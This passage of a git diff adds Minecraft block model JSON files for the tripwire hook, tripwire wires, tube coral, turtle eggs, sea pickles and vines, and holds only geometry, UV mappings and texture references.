+ "down": { "uv": [ 7, 9, 9, 14 ], "texture": "#wood" }, + "up": { "uv": [ 7, 2, 9, 7 ], "texture": "#wood" }, + "north": { "uv": [ 7, 9, 9, 11 ], "texture": "#wood" }, + "south": { "uv": [ 7, 9, 9, 11 ], "texture": "#wood" }, + "west": { "uv": [ 2, 9, 7, 11 ], "texture": "#wood" }, + "east": { "uv": [ 9, 9, 14, 11 ], "texture": "#wood" } + } + }, + { "from": [ 6, 1, 14 ], + "to": [ 10, 9, 16 ], + "faces": { + "down": { "uv": [ 6, 14, 10, 16 ], "texture": "#wood" }, + "up": { "uv": [ 6, 0, 10, 2 ], "texture": "#wood" }, + "north": { "uv": [ 6, 7, 10, 15 ], "texture": "#wood" }, + "south": { "uv": [ 6, 7, 10, 15 ], "texture": "#wood", "cullface": "south" }, + "west": { "uv": [ 0, 7, 2, 15 ], "texture": "#wood" }, + "east": { "uv": [ 14, 7, 16, 15 ], "texture": "#wood" } + } + } + ] +} diff --git a/src/assets/minecraft/models/block/tripwire_hook_on.json b/src/assets/minecraft/models/block/tripwire_hook_on.json new file mode 100644 index 00000000..5b2494b1 --- /dev/null +++ b/src/assets/minecraft/models/block/tripwire_hook_on.json @@ -0,0 +1,67 @@ +{ + "textures": { + "particle": "block/oak_planks", + "hook": "block/tripwire_hook", + "wood": "block/oak_planks" + }, + "elements": [ + { "from": [ 6.2, 4.2, 6.7 ], + "to": [ 9.8, 5, 10.3 ], + "faces": { + "down": { "uv": [ 5, 3, 11, 9 ], "texture": "#hook" }, + "up": { "uv": [ 5, 3, 11, 9 ], "texture": "#hook" }, + "north": { "uv": [ 5, 3, 11, 4 ], "texture": "#hook" }, + "south": { "uv": [ 5, 8, 11, 9 ], "texture": "#hook" }, + "west": { "uv": [ 5, 8, 11, 9 ], "texture": "#hook" }, + "east": { "uv": [ 5, 3, 11, 4 ], "texture": "#hook" } + } + }, + { "from": [ 7.4, 4.2, 9.1 ], + "to": [ 8.6, 5, 9.1 ], + "faces": { + "north": { "uv": [ 7, 8, 9, 9 ], "texture": "#hook" } + } + }, + { "from": [ 7.4, 4.2, 7.9 ], + "to": [ 8.6, 5, 7.9 ], + "faces": { + "south": { "uv": [ 7, 3, 9, 4 ], "texture": "#hook" } + } + }, + { "from": [ 7.4, 4.2, 7.9 ], + "to": [ 7.4, 5, 9.1 ], + "faces": { + "east": { "uv": [ 7, 8, 9, 9 ], "texture": "#hook" } + } + }, + { "from": [ 8.6, 4.2, 7.9 ], + "to": [ 8.6, 5, 9.1 ], + "faces": { + "west": { "uv": [ 7, 3, 9, 4 ], "texture": "#hook" } + } + }, + { "from": [ 7.4, 5.2, 10 ], + "to": [ 8.8, 6.8, 14 ], + "rotation": { "origin": [ 8, 6, 14 ], "axis": "x", "angle": -22.5 }, + "faces": { + "down": { "uv": [ 7, 9, 9, 14 ], "texture": "#wood" }, + "up": { "uv": [ 7, 2, 9, 7 ], "texture": "#wood" }, + "north": { "uv": [ 7, 9, 9, 11 ], "texture": "#wood" }, + "south": { "uv": [ 7, 9, 9, 11 ], "texture": "#wood" }, + "west": { "uv": [ 2, 9, 7, 11 ], "texture": "#wood" }, + "east": { "uv": [ 9, 9, 14, 11 ], "texture": "#wood" } + } + }, + { "from": [ 6, 1, 14 ], + "to": [ 10, 9, 16 ], + "faces": { + "down": { "uv": [ 6, 14, 10, 16 ], "texture": "#wood" }, + "up": { "uv": [ 6, 0, 10, 2 ], "texture": "#wood" }, + "north": { "uv": [ 6, 7, 10, 15 ], "texture": "#wood" }, + "south": { "uv": [ 6, 7, 10, 15 ], "texture": "#wood", "cullface": "south" }, + "west": { "uv": [ 0, 7, 2, 15 ], "texture": "#wood" }, + "east": { "uv": [ 14, 7, 16, 15 ], "texture": "#wood" } + } + } + ] +} diff --git a/src/assets/minecraft/models/block/tripwire_n.json b/src/assets/minecraft/models/block/tripwire_n.json new file mode 100644 index 00000000..626a83f8 --- /dev/null +++ b/src/assets/minecraft/models/block/tripwire_n.json @@ -0,0 +1,33 @@ +{ + "ambientocclusion": false, + "textures": { + "particle": "block/tripwire", + "texture": "block/tripwire" + }, + "elements": [ + { "from": [ 7.75, 1.5, 0 ], + "to": [ 8.25, 1.5, 4 ], + "shade": false, + "faces": { + "down": { "uv": [ 0, 2, 16, 0 ], "texture": "#texture", "rotation": 90 }, + "up": { "uv": [ 0, 0, 16, 2 ], "texture": "#texture", "rotation": 90 } + } + }, + { "from": [ 7.75, 1.5, 4 ], + "to": [ 8.25, 1.5, 8 ], + "shade": false, + "faces": { + "down": { "uv": [ 0, 2, 16, 0 ], "texture": "#texture", "rotation": 90 }, + "up": { "uv": [ 0, 0, 16, 2 ], "texture": "#texture", "rotation": 90 } + } + }, + { "from": [ 7.75, 1.5, 8 ], + "to": [ 8.25, 1.5, 12 ], + "shade": false, + "faces": { + "down": { "uv": [ 0, 2, 16, 0 ], "texture": "#texture", "rotation": 90 }, + "up": { "uv": [ 0, 0, 16, 2 ], "texture": "#texture", "rotation": 90 } + } + } + ] +} diff --git a/src/assets/minecraft/models/block/tripwire_ne.json b/src/assets/minecraft/models/block/tripwire_ne.json new file mode 100644 index 00000000..f07c9ef5 --- /dev/null +++ b/src/assets/minecraft/models/block/tripwire_ne.json @@ -0,0 +1,41 @@ +{ + "ambientocclusion": false, + "textures": { + "particle": "block/tripwire", + "texture": "block/tripwire" + }, + "elements": [ + { "from": [ 7.75, 1.5, 0 ], + "to": [ 8.25, 1.5, 4 ], + "shade": false, + "faces": { + "down": { "uv": [ 0, 2, 16, 0 ], "texture": "#texture", "rotation": 90 }, + "up": { "uv": [ 0, 0, 16, 2 ], "texture": "#texture", "rotation": 90 } + } + }, + { "from": [ 7.75, 1.5, 4 ], + "to": [ 8.25, 1.5, 8 ], + "shade": false, + "faces": { + "down": { "uv": [ 0, 2, 16, 0 ], "texture": "#texture", "rotation": 90 }, + "up": { "uv": [ 0, 0, 16, 2 ], "texture": "#texture", "rotation": 90 } + } + }, + { "from": [ 8, 1.5, 7.75 ], + "to": [ 12, 1.5, 8.25 ], + "shade": false, + "faces": { + "down": { "uv": [ 0, 2, 16, 0 ], "texture": "#texture" }, + "up": { "uv": [ 0, 0, 16, 2 ], "texture": "#texture" } + } + }, + { "from": [ 12, 1.5, 7.75 ], + "to": [ 16, 1.5, 8.25 ], + "shade": false, + "faces": { + "down": { "uv": [ 0, 2, 16, 0 ], "texture": "#texture" }, + "up": { "uv": [ 0, 0, 16, 2 ], "texture": "#texture" } + } + } + ] +} diff --git a/src/assets/minecraft/models/block/tripwire_ns.json b/src/assets/minecraft/models/block/tripwire_ns.json new file mode 100644 index 00000000..1594ffcc --- /dev/null +++ b/src/assets/minecraft/models/block/tripwire_ns.json @@ -0,0 +1,41 @@ +{ + "ambientocclusion": false, + "textures": { + "particle": "block/tripwire", + "texture": "block/tripwire" + }, + "elements": [ + { "from": [ 7.75, 1.5, 0 ], + "to": [ 8.25, 1.5, 4 ], + "shade": false, + "faces": { + "down": { "uv": [ 0, 2, 16, 0 ], "texture": "#texture", "rotation": 90 }, + "up": { "uv": [ 0, 0, 16, 2 ], "texture": "#texture", "rotation": 90 } + } + }, + { "from": [ 7.75, 1.5, 4 ], + "to": [ 8.25, 1.5, 8 ], + "shade": false, + "faces": { + "down": { "uv": [ 0, 2, 16, 0 ], "texture": "#texture", "rotation": 90 }, + "up": { "uv": [ 0, 0, 16, 2 ], "texture": "#texture", "rotation": 90 } + } + }, + { "from": [ 7.75, 1.5, 8 ], + "to": [ 8.25, 1.5, 12 ], + "shade": false, + "faces": { + "down": { "uv": [ 0, 2, 16, 0 ], "texture": "#texture", "rotation": 90 }, + "up": { "uv": [ 0, 0, 16, 2 ], "texture": "#texture", "rotation": 90 } + } + }, + { "from": [ 7.75, 1.5, 12 ], + "to": [ 8.25, 1.5, 16 ], + "shade": false, + "faces": { + "down": { "uv": [ 0, 2, 16, 0 ], "texture": "#texture", "rotation": 90 }, + "up": { "uv": [ 0, 0, 16, 2 ], "texture": "#texture", "rotation": 90 } + } + } + ] +} diff --git a/src/assets/minecraft/models/block/tripwire_nse.json b/src/assets/minecraft/models/block/tripwire_nse.json new file mode 100644 index 00000000..4933f831 --- /dev/null +++ b/src/assets/minecraft/models/block/tripwire_nse.json @@ -0,0 +1,57 @@ +{ + "ambientocclusion": false, + "textures": { + "particle": "block/tripwire", + "texture": "block/tripwire" + }, + "elements": [ + { "from": [ 7.75, 1.5, 0 ], + "to": [ 8.25, 1.5, 4 ], + "shade": false, + "faces": { + "down": { "uv": [ 0, 2, 16, 0 ], "texture": "#texture", "rotation": 90 }, + "up": { "uv": [ 0, 0, 16, 2 ], "texture": "#texture", "rotation": 90 } + } + }, + { "from": [ 7.75, 1.5, 4 ], + "to": [ 8.25, 1.5, 8 ], + "shade": false, + "faces": { + "down": { "uv": [ 0, 2, 16, 0 ], "texture": "#texture", "rotation": 90 }, + "up": { "uv": [ 0, 0, 16, 2 ], "texture": "#texture", "rotation": 90 } + } + }, + { "from": [ 7.75, 1.5, 8 ], + "to": [ 8.25, 1.5, 12 ], + "shade": false, + "faces": { + "down": { "uv": [ 0, 2, 16, 0 ], "texture": "#texture", "rotation": 90 }, + "up": { "uv": [ 0, 0, 16, 2 ], "texture": "#texture", "rotation": 90 } + } + }, + { "from": [ 7.75, 1.5, 12 ], + "to": [ 8.25, 1.5, 16 ], + "shade": false, + "faces": { + "down": { "uv": [ 0, 2, 16, 0 ], "texture": "#texture", "rotation": 90 }, + "up": { "uv": [ 0, 0, 16, 2 ], "texture": "#texture", "rotation": 90 } + } + }, + { "from": [ 8, 1.5, 7.75 ], + "to": [ 12, 1.5, 8.25 ], + "shade": false, + "faces": { + "down": { "uv": [ 0, 2, 16, 0 ], "texture": "#texture" }, + "up": { "uv": [ 0, 0, 16, 2 ], "texture": "#texture" } + } + }, + { "from": [ 12, 1.5, 7.75 ], + "to": [ 16, 1.5, 8.25 ], + "shade": false, + "faces": { + "down": { "uv": [ 0, 2, 16, 0 ], "texture": "#texture" }, + "up": { "uv": [ 0, 0, 16, 2 ], "texture": "#texture" } + } + } + ] +} diff --git a/src/assets/minecraft/models/block/tripwire_nsew.json b/src/assets/minecraft/models/block/tripwire_nsew.json new file mode 100644 index 00000000..82e9a951 --- /dev/null +++ b/src/assets/minecraft/models/block/tripwire_nsew.json @@ -0,0 +1,73 @@ +{ + "ambientocclusion": false, + "textures": { + "particle": "block/tripwire", + "texture": "block/tripwire" + }, + "elements": [ + { "from": [ 7.75, 1.5, 0 ], + "to": [ 8.25, 1.5, 4 ], + "shade": false, + "faces": { + "down": { "uv": [ 0, 2, 16, 0 ], "texture": "#texture", "rotation": 90 }, + "up": { "uv": [ 0, 0, 16, 2 ], "texture": "#texture", "rotation": 90 } + } + }, + { "from": [ 7.75, 1.5, 4 ], + "to": [ 8.25, 1.5, 8 ], + "shade": false, + "faces": { + "down": { "uv": [ 0, 2, 16, 0 ], "texture": "#texture", "rotation": 90 }, + "up": { "uv": [ 0, 0, 16, 2 ], "texture": "#texture", "rotation": 90 } + } + }, + { "from": [ 7.75, 1.5, 8 ], + "to": [ 8.25, 1.5, 12 ], + "shade": false, + "faces": { + "down": { "uv": [ 0, 2, 16, 0 ], "texture": "#texture", "rotation": 90 }, + "up": { "uv": [ 0, 0, 16, 2 ], "texture": "#texture", "rotation": 90 } + } + }, + { "from": [ 7.75, 1.5, 12 ], + "to": [ 8.25, 1.5, 16 ], + "shade": false, + "faces": { + "down": { "uv": [ 0, 2, 16, 0 ], "texture": "#texture", "rotation": 90 }, + "up": { "uv": [ 0, 0, 16, 2 ], "texture": "#texture", "rotation": 90 } + } + }, + { "from": [ 0, 1.5, 7.75 ], + "to": [ 4, 1.5, 8.25 ], + "shade": false, + "faces": { + "down": { "uv": [ 0, 2, 16, 0 ], "texture": "#texture" }, + "up": { "uv": [ 0, 0, 16, 2 ], "texture": "#texture" } + } + }, + { "from": [ 4, 1.5, 7.75 ], + "to": [ 8, 1.5, 8.25 ], + "shade": false, + "faces": { + "down": { "uv": [ 0, 2, 16, 0 ], "texture": "#texture" }, + "up": { "uv": [ 0, 0, 16, 2 ], "texture": "#texture" } + } + }, + { "from": [ 8, 1.5, 7.75 ], + "to": [ 12, 1.5, 8.25 ], + "shade": false, + "faces": { + "down": { "uv": [ 0, 2, 16, 0 ], "texture": "#texture" }, + "up": { "uv": [ 0, 0, 16, 2 ], "texture": "#texture" } + } + }, + { "from": [ 12, 1.5, 7.75 ], + "to": [ 16, 1.5, 8.25 ], + "shade": false, + "faces": { + "down": { "uv": [ 0, 2, 16, 0 ], "texture": "#texture" }, + "up": { "uv": [ 0, 0, 16, 2 ], "texture": "#texture" } + } + } + ] +} diff --git a/src/assets/minecraft/models/block/tube_coral.json b/src/assets/minecraft/models/block/tube_coral.json new file mode 100644 index 00000000..0a159709 --- /dev/null +++ b/src/assets/minecraft/models/block/tube_coral.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/cross", + "textures": { + "cross": "minecraft:block/tube_coral" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/tube_coral_block.json b/src/assets/minecraft/models/block/tube_coral_block.json new file mode 100644 index 00000000..4de67c0b --- /dev/null +++ b/src/assets/minecraft/models/block/tube_coral_block.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/cube_all", + "textures": { + "all": "minecraft:block/tube_coral_block" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/tube_coral_fan.json b/src/assets/minecraft/models/block/tube_coral_fan.json new file mode 100644 index 00000000..6a5e968c --- /dev/null +++ b/src/assets/minecraft/models/block/tube_coral_fan.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/coral_fan", + "textures": { + "fan": "minecraft:block/tube_coral_fan" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/tube_coral_wall_fan.json b/src/assets/minecraft/models/block/tube_coral_wall_fan.json new file mode 100644 index 00000000..6a36d289 --- /dev/null +++ b/src/assets/minecraft/models/block/tube_coral_wall_fan.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/coral_wall_fan", + "textures": { + "fan": "minecraft:block/tube_coral_fan" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/turtle_egg.json b/src/assets/minecraft/models/block/turtle_egg.json new file mode 100644 index 00000000..94ce75f7 --- /dev/null +++ b/src/assets/minecraft/models/block/turtle_egg.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/template_turtle_egg", + "textures": { + "all": "minecraft:block/turtle_egg" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/twisting_vines.json b/src/assets/minecraft/models/block/twisting_vines.json new file mode 100644 index 00000000..1e077028 --- /dev/null +++ b/src/assets/minecraft/models/block/twisting_vines.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/cross", + "textures": { + "cross": "minecraft:block/twisting_vines" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/twisting_vines_plant.json b/src/assets/minecraft/models/block/twisting_vines_plant.json new file mode 100644 index 00000000..20a056e0 --- /dev/null +++ b/src/assets/minecraft/models/block/twisting_vines_plant.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/cross", + "textures": { + "cross": "minecraft:block/twisting_vines_plant" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/two_dead_sea_pickles.json b/src/assets/minecraft/models/block/two_dead_sea_pickles.json new file mode 100644 index 00000000..0a618603 --- /dev/null +++ b/src/assets/minecraft/models/block/two_dead_sea_pickles.json @@ -0,0 +1,46 @@ +{ + "parent": "block/block", + "textures": { + "particle": "block/sea_pickle", + "all": "block/sea_pickle" + }, + "elements": [ + { "from": [ 3, 0, 3 ], + "to": [ 7, 6, 7 ], + "faces": { + "down": { "uv": [ 8, 1, 12, 5 ], "texture": "#all", "cullface": "down" }, + "up": { "uv": [ 4, 1, 8, 5 ], "texture": "#all" }, + "north": { "uv": [ 4, 5, 8, 11 ], "texture": "#all" }, + "south": { "uv": [ 0, 5, 4, 11 ], "texture": "#all" }, + "west": { "uv": [ 8, 5, 12, 11 ], "texture": "#all" }, + "east": { "uv": [ 12, 5, 16, 11 ], "texture": "#all" } + } + }, + { + "from": [ 3, 5.95, 3 ], + "to": [ 7, 5.95, 7 ], + "faces": { + "up": {"uv": [ 8, 1, 12, 5 ], "texture": "#all"} + } + }, + { + "from": [ 8, 0, 8 ], + "to": [ 12, 4, 12 ], + "faces": { + "down": { "uv": [ 8, 1, 12, 5 ], "texture": "#all", "cullface": "down" }, + "up": { "uv": [ 4, 1, 8, 5 ], "texture": "#all" }, + "north": { "uv": [ 4, 5, 8, 9 ], "texture": "#all" }, + "south": { "uv": [ 0, 5, 4, 9 ], "texture": "#all" }, + "west": { "uv": [ 8, 5, 12, 9 ], "texture": "#all" }, + "east": { "uv": [ 12, 5, 16, 9 ], "texture": "#all" } + } + }, + { + "from": [ 8, 3.95, 8 ], + "to": [ 12, 3.95, 12 ], + "faces": { + "up": {"uv": [ 8, 1, 12, 5 ], "texture": "#all"} + } + } + ] +} diff --git a/src/assets/minecraft/models/block/two_sea_pickles.json b/src/assets/minecraft/models/block/two_sea_pickles.json new file mode 100644 index 00000000..37a8bb19 --- /dev/null +++ b/src/assets/minecraft/models/block/two_sea_pickles.json @@ -0,0 +1,86 @@ +{ + "parent": "block/block", + "textures": { + "particle": "block/sea_pickle", + "all": "block/sea_pickle" + }, + "elements": [ + { "from": [ 3, 0, 3 ], + "to": [ 7, 6, 7 ], + "faces": { + "down": { "uv": [ 8, 1, 12, 5 ], "texture": "#all", "cullface": "down" }, + "up": { "uv": [ 4, 1, 8, 5 ], "texture": "#all" }, + "north": { "uv": [ 4, 5, 8, 11 ], "texture": "#all" }, + "south": { "uv": [ 0, 5, 4, 11 ], "texture": "#all" }, + "west": { "uv": [ 8, 5, 12, 11 ], "texture": "#all" }, + "east": { "uv": [ 12, 5, 16, 11 ], "texture": "#all" } + } + }, + { + "from": [ 3, 5.95, 3 ], + "to": [ 7, 5.95, 7 ], + "faces": { + "up": {"uv": [ 8, 1, 12, 5 ], "texture": "#all"} + } + }, + { + "from": [ 8, 0, 8 ], + "to": [ 12, 4, 12 ], + "faces": { + "down": { "uv": [ 8, 1, 12, 5 ], "texture": "#all", "cullface": "down" }, + "up": { "uv": [ 4, 1, 8, 5 ], "texture": "#all" }, + "north": { "uv": [ 4, 5, 8, 9 ], "texture": "#all" }, + "south": { "uv": [ 0, 5, 4, 9 ], "texture": "#all" }, + "west": { "uv": [ 8, 5, 12, 9 ], "texture": "#all" }, + "east": { "uv": [ 12, 5, 16, 9 ], "texture": "#all" } + } + }, + { + "from": [ 8, 3.95, 8 ], + "to": [ 12, 3.95, 12 ], + "faces": { + "up": {"uv": [ 8, 1, 12, 5 ], "texture": "#all"} + } + }, + { + "from": [ 4.5, 5.2, 5 ], + "to": [ 5.5, 8.7, 5 ], + "rotation": { "origin": [ 5, 5.6, 5 ], "axis": "y", "angle": 45, "rescale": true }, + "shade": false, + "faces": { + "north": { "uv": [ 1, 0, 3, 5 ], "texture": "#all" }, + "south": { "uv": [ 13, 0, 15, 5 ], "texture": "#all" } + } + }, + { + "from": [ 5, 5.2, 4.5 ], + "to": [ 5, 8.7, 5.5 ], + "rotation": { "origin": [ 5, 5.6, 5 ], "axis": "y", "angle": 45, "rescale": true }, + "shade": false, + "faces": { + "west": { "uv": [ 1, 0, 3, 5 ], "texture": "#all" }, + "east": { "uv": [ 13, 0, 15, 5 ], "texture": "#all" } + } + }, + { + "from": [ 9.5, 3.2, 10 ], + "to": [ 10.5, 6.7, 10 ], + "rotation": { "origin": [10, 8, 10 ], "axis": "y", "angle": 45, "rescale": true }, + "shade": false, + "faces": { + "north": { "uv": [ 1, 0, 3, 5 ], "texture": "#all" }, + "south": { "uv": [ 13, 0, 15, 5 ], "texture": "#all" } + } + }, + { + "from": [ 10, 3.2, 9.5 ], + "to": [ 10, 6.7, 10.5 ], + "rotation": { "origin": [ 10, 8, 10 ], "axis": "y", "angle": 45, "rescale": true }, + "shade": false, + "faces": { + "west": { "uv": [ 1, 0, 3, 5 ], "texture": "#all" }, + "east": { "uv": [ 13, 0, 15, 5 ], "texture": "#all" } + } + } + ] +} diff --git a/src/assets/minecraft/models/block/two_slightly_cracked_turtle_eggs.json b/src/assets/minecraft/models/block/two_slightly_cracked_turtle_eggs.json new file mode 100644 index 00000000..4d1a9503 --- /dev/null +++ b/src/assets/minecraft/models/block/two_slightly_cracked_turtle_eggs.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/template_two_turtle_eggs", + "textures": { + "all": "minecraft:block/turtle_egg_slightly_cracked" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/two_turtle_eggs.json b/src/assets/minecraft/models/block/two_turtle_eggs.json new file mode 100644 index 00000000..22209d56 --- /dev/null +++ b/src/assets/minecraft/models/block/two_turtle_eggs.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/template_two_turtle_eggs", + "textures": { + "all": "minecraft:block/turtle_egg" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/two_very_cracked_turtle_eggs.json b/src/assets/minecraft/models/block/two_very_cracked_turtle_eggs.json new file mode 100644 index 00000000..1408a48f --- /dev/null +++ b/src/assets/minecraft/models/block/two_very_cracked_turtle_eggs.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/template_two_turtle_eggs", + "textures": { + "all": "minecraft:block/turtle_egg_very_cracked" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/very_cracked_turtle_egg.json b/src/assets/minecraft/models/block/very_cracked_turtle_egg.json new file mode 100644 index 00000000..74ff1606 --- /dev/null +++ b/src/assets/minecraft/models/block/very_cracked_turtle_egg.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/template_turtle_egg", + "textures": { + "all": "minecraft:block/turtle_egg_very_cracked" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/vine_1.json b/src/assets/minecraft/models/block/vine_1.json new file mode 100644 index 00000000..c9bcc1ab --- /dev/null +++ b/src/assets/minecraft/models/block/vine_1.json @@ -0,0 +1,17 @@ +{ + "ambientocclusion": false, + "textures": { + "particle": "block/vine", + "vine": "block/vine" + }, + "elements": [ + { "from": [ 0, 0, 15.2 ], + "to": [ 16, 16, 15.2 ], + "shade": false, + "faces": { + "north": { "uv": [ 0, 0, 16, 16 ], "texture": "#vine", "tintindex": 0 }, + "south": { "uv": [ 0, 0, 16, 16 ], "texture": "#vine", "tintindex": 0 } + } + } + ] +} diff --git a/src/assets/minecraft/models/block/vine_1u.json b/src/assets/minecraft/models/block/vine_1u.json new file mode 100644 index 00000000..ddf3f5be --- /dev/null +++ b/src/assets/minecraft/models/block/vine_1u.json @@ -0,0 +1,25 @@ +{ + "ambientocclusion": false, + "textures": { + "particle": "block/vine", + "vine": "block/vine" + }, + "elements": [ + { "from": [ 0, 15.2, 0 ], + "to": [ 16, 15.2, 16 ], + "shade": false, + "faces": { + "down": { "uv": [ 0, 0, 16, 16 ], "texture": "#vine", "tintindex": 0 }, + "up": { "uv": [ 0, 0, 16, 16 ], "texture": "#vine", "tintindex": 0 } + } + }, + { "from": [ 0, 0, 15.2 ], + "to": [ 16, 16, 15.2 ], + "shade": false, + "faces": { + "north": { "uv": [ 0, 0, 16, 16 ], "texture": "#vine", "tintindex": 0 }, + "south": { "uv": [ 0, 0, 16, 16 ], "texture": "#vine", "tintindex": 0 } + } + } + ] +} diff --git a/src/assets/minecraft/models/block/vine_2.json b/src/assets/minecraft/models/block/vine_2.json new file mode 100644 index 00000000..6671c3fa --- /dev/null +++ b/src/assets/minecraft/models/block/vine_2.json @@ -0,0 +1,25 @@ +{ + "ambientocclusion": false, + "textures": { + "particle": "block/vine", + "vine": "block/vine" + }, + "elements": [ + { "from": [ 0, 0, 0.8 ], + "to": [ 16, 16, 0.8 ], + "shade": false, + "faces": { + "north": { "uv": [ 0, 0, 16, 16 ], "texture": "#vine", "tintindex": 0 }, + "south": { "uv": [ 0, 0, 16, 16 ], "texture": "#vine", "tintindex": 0 } + } + }, + { "from": [ 15.2, 0, 0 ], + "to": [ 15.2, 16, 16 ], + "shade": false, + "faces": { + "west": { "uv": [ 0, 0, 16, 16 ], "texture": "#vine", "tintindex": 0 }, + "east": { "uv": [ 0, 0, 16, 16 ], "texture": "#vine", "tintindex": 0 } + } + } + ] +} diff --git a/src/assets/minecraft/models/block/vine_2_opposite.json b/src/assets/minecraft/models/block/vine_2_opposite.json new file mode 100644 index 00000000..2abe72e5 --- /dev/null +++ b/src/assets/minecraft/models/block/vine_2_opposite.json @@ -0,0 +1,25 @@ +{ + "ambientocclusion": false, + "textures": { + "particle": "block/vine", + "vine": "block/vine" + }, + "elements": [ + { "from": [ 15.2, 0, 0 ], + "to": [ 15.2, 16, 16 ], + "shade": false, + "faces": { + "west": { "uv": [ 0, 0, 16, 16 ], "texture": "#vine", "tintindex": 0 }, + "east": { "uv": [ 0, 0, 16, 16 ], "texture": "#vine", "tintindex": 0 } + } + }, + { "from": [ 0.8, 0, 0 ], + "to": [ 0.8, 16, 16 ], + "shade": false, + "faces": { + "west": { "uv": [ 0, 0, 16, 16 ], "texture": "#vine", "tintindex": 0 }, + "east": { "uv": [ 0, 0, 16, 16 ], "texture": "#vine", "tintindex": 0 } + } + } + ] +} diff --git a/src/assets/minecraft/models/block/vine_2u.json b/src/assets/minecraft/models/block/vine_2u.json new file mode 100644 index 00000000..b5426b08 --- /dev/null +++ b/src/assets/minecraft/models/block/vine_2u.json @@ -0,0 +1,33 @@ +{ + "ambientocclusion": false, + "textures": { + "particle": "block/vine", + "vine": "block/vine" + }, + "elements": [ + { "from": [ 0, 15.2, 0 ], + "to": [ 16, 15.2, 16 ], + "shade": false, + "faces": { + "down": { "uv": [ 0, 0, 16, 16 ], "texture": "#vine", "tintindex": 0 }, + "up": { "uv": [ 0, 0, 16, 16 ], "texture": "#vine", "tintindex": 0 } + } + }, + { "from": [ 0, 0, 0.8 ], + "to": [ 16, 16, 0.8 ], + "shade": false, + "faces": { + "north": { "uv": [ 0, 0, 16, 16 ], "texture": "#vine", "tintindex": 0 }, + "south": { "uv": [ 0, 0, 16, 16 ], "texture": "#vine", "tintindex": 0 } + } + }, + { "from": [ 15.2, 0, 0 ], + "to": [ 15.2, 16, 16 ], + "shade": false, + "faces": { + "west": { "uv": [ 0, 0, 16, 16 ], "texture": "#vine", "tintindex": 0 }, + "east": { "uv": [ 0, 0, 16, 16 ], "texture": "#vine", "tintindex": 0 } + } + } + ] +} diff --git a/src/assets/minecraft/models/block/vine_2u_opposite.json b/src/assets/minecraft/models/block/vine_2u_opposite.json new file mode 100644 index 00000000..b4625290 --- /dev/null +++ b/src/assets/minecraft/models/block/vine_2u_opposite.json @@ -0,0 +1,33 @@ +{ + "ambientocclusion": false, + "textures": { + "particle": "block/vine", + "vine": "block/vine" + }, + "elements": [ + { "from": [ 0, 15.2, 0 ], + "to": [ 16, 15.2, 16 ], + "shade": false, + "faces": { + "down": { "uv": [ 0, 0, 16, 16 ], "texture": "#vine", "tintindex": 0 }, + "up": { "uv": [ 0, 0, 16, 16 ], "texture": "#vine", "tintindex": 0 } + } + }, + { "from": [ 15.2, 0, 0 ], + "to": [ 15.2, 16, 16 ], + "shade": false, + "faces": { + "west": { "uv": [ 0, 0, 16, 16 ], "texture": "#vine", "tintindex": 0 }, + "east": { "uv": [ 0, 0, 16, 16 ], "texture": "#vine", "tintindex": 0 } + } + }, + { "from": [ 0.8, 0, 0 ], + "to": [ 0.8, 16, 16 ], + "shade": false, + "faces": { + "west": { "uv": [ 0, 0, 16, 16 ], "texture": "#vine", "tintindex": 0 }, + "east": { "uv": [ 0, 0, 16, 16 ], "texture": "#vine", "tintindex": 0 } + } + } + ] +} diff --git a/src/assets/minecraft/models/block/vine_3.json b/src/assets/minecraft/models/block/vine_3.json new file mode 100644 index 00000000..b3d02f4e --- /dev/null +++ b/src/assets/minecraft/models/block/vine_3.json @@ -0,0 +1,33 @@ +{ + "ambientocclusion": false, + "textures": { + "particle": "block/vine", + "vine": "block/vine" + }, + "elements": [ + { "from": [ 15.2, 0, 0 ], + "to": [ 15.2, 16, 16 ], + "shade": false, + "faces": { + "west": { "uv": [ 0, 0, 16, 16 ], "texture": "#vine", "tintindex": 0 }, + "east": { "uv": [ 0, 0, 16, 16 ], "texture": "#vine", "tintindex": 0 } + } + }, + { "from": [ 0, 0, 15.2 ], + "to": [ 16, 16, 15.2 ], + "shade": false, + "faces": { + "north": { "uv": [ 0, 0, 16, 16 ], "texture": "#vine", "tintindex": 0 }, + "south": { "uv": [ 0, 0, 16, 16 ], "texture": "#vine", "tintindex": 0 } + } + }, + { "from": [ 0, 0, 0.8 ], + "to": [ 16, 16, 0.8 ], + "shade": false, + "faces": { + "north": { "uv": [ 0, 0, 16, 16 ], "texture": "#vine", "tintindex": 0 }, + "south": { "uv": [ 0, 0, 16, 16 ], "texture": "#vine", "tintindex": 0 } + } + } + ] +} diff --git a/src/assets/minecraft/models/block/vine_3u.json b/src/assets/minecraft/models/block/vine_3u.json new file mode 100644 index 00000000..d239b7d8 --- /dev/null +++ b/src/assets/minecraft/models/block/vine_3u.json @@ -0,0 +1,41 @@ +{ + "ambientocclusion": false, + "textures": { + "particle": "block/vine", + "vine": "block/vine" + }, + "elements": [ + { "from": [ 0, 15.2, 0 ], + "to": [ 16, 15.2, 16 ], + "shade": false, + "faces": { + "down": { "uv": [ 0, 0, 16, 16 ], "texture": "#vine", "tintindex": 0 }, + "up": { "uv": [ 0, 0, 16, 16 ], "texture": "#vine", "tintindex": 0 } + } + }, + { "from": [ 15.2, 0, 0 ], + "to": [ 